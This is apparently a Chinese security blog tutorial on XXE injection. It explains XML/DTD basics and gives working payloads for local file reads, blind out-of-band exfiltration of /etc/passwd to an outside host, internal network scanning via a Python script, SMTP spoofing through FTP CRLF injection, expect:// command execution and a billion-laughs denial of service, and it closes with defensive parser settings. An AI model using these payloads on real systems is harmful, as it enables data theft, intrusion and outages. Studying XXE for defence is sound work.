xxe

Jan 24, 2019 00:00 · 3167 words · 7 minute read xxe

0x00 xxe是什么

xml外部实体注入

0x01 xml基础

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

<!--XML申明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记

CDATA 是不会被解析器解析的文本

ENTITY 值是一个实体

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。

内部声明DTD: <!DOCTYPE 根元素 [元素声明]>

引用外部DTD: <!DOCTYPE 根元素 SYSTEM "存放元素声明的文件的URI,可以是本地文件或网络文件" [可选的元素声明]>

<!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD的名称" "外部DTD文件的URI">

( PUBLIC表示 DTD文件是公共的,解析器先分析 DTD名称,没查到再去访问 URI)

实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。

参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

&普通实体名; //经实验,普通实体既可以在 DTD中,也可以在 XML中引用,可以在声明前引用,可以在在元素声明内部引用

%参数实体名; //经实验,参数实体只能在 DTD中引用,不能在声明前引用,不能在元素声明内部引用

最重要的是,外部实体引用

通用实体:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
    <!ENTITY dtd SYSTEM "file:///c:/windows/win.ini"> 
]> 
<ifish>  
    <lastname>&file;</lastname>   
</ifish>

参数实体:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

evil.xml:

 <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用通用实体send,参数实体只能在DTD中调用

不同程序支持的协议不同

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

0x02 能用xxe做什么

利用xxe漏洞可以进行拒绝服务攻击,文件读取,命令(代码)执行,SQL(XSS)注入,内外扫描端口,入侵内网站点等,内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现,可以理解是使用xxe进行SSRF的利用,基本上啥都能做了:-)

一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

0x03 如何找到xxe

尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据:

  • 单双引号 ‘ “ 。XML的属性值必须用引号包裹,而数据可能进入标签的属性值。
  • 尖括号< >。XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。
  • 注释符 作注释。
  • & 。& 用于引用实体。
  • CDATA 分隔符]]> 。<![CDATA[foo]]> 中的内容不被parser解析,提前闭合引发异常。

尝试利用实体和DTD:

  • 引用外部DTD文件访问内网主机/端口。<!DOCTYPE a SYSTEM “http://127.0.0.1:2333"> (看响应时间)
  • 引用外部DTD文件访问外网。<!DOCTYPE a SYSTEM “http://vps_ip" >
  • 引用内部实体。<!DOCTYPE a [<!ENTITY xxe “findneo”>]>&xxe;
  • 外部实体读本地文件。<!DOCTYPE a [<!ENTITY xxe SYSTEM “file:///etc/hosts”>]>&xxe;
  • 外部实体访问内网主机/端口。<!DOCTYPE a SYSTEM “http://192.168.1.2:80">(看响应时间)
  • 外部实体访问外网。<!DOCTYPE a [<!ENTITY xxe SYSTEM “http://vps_ip">]>&xxe;
  • 判断问题存在可以OOB提取数据。

旧版的awvs有xxe验证

0x04 xxe利用

Normal XXE

  • 无特殊符号读取

xml.php

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE dtd [  
<!ENTITY file SYSTEM "file:///c:/windows/system.ini"> ]> 
<ifish>&file;</ifish>
  • 有特殊符号读取

把数据放在 CDATA 中输出就能进行绕过

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

利用外部dtd,将实体拼接,不能在xml直接拼接

Blind OOB XXE

xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

payload1:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

test.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

or

payload2:

<!DOCTYPE a [ 
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://www.hackersb.cn/attack.dtd">
%dtd;
%mydata;
]>

attack.dtd:

<!ENTITY % all
"<!ENTITY &#x25; mydata SYSTEM "http://www.hackersb.cn/?%file">"
>

发送payload以后就可以在http://www.hackersb.cn/的访问日志中看到请求且带上了/etc/passwd文件base64加密以后的内容

http内网主机探测

我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了

探测脚本:

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

http内网主机端口扫描

利用burp遍历端口

钓鱼

如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼(一下实例来自fb 的一篇文章 )

Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令。

但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:

ex:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25

PHP expect RCE

PHP的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

payload:

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

xxe dos

payload:

<?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
     ]>
     <lolz>&lol9;</lolz>

JSON content-type XXE

很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击

原始请求和响应:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38


{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}
现在我们尝试将 Content-Type 修改为 application/xml

进一步请求和响应:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击

最终的请求和响应:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

0x05 xxe防御

使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

0x06 参考资料

https://xz.aliyun.com/t/3357#toc-15

https://www.cnblogs.com/backlion/p/9302528.html

https://security.tencent.com/index.php/blog/msg/69

https://www.freebuf.com/column/156863.html

https://xz.aliyun.com/t/2571

https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-5-1-2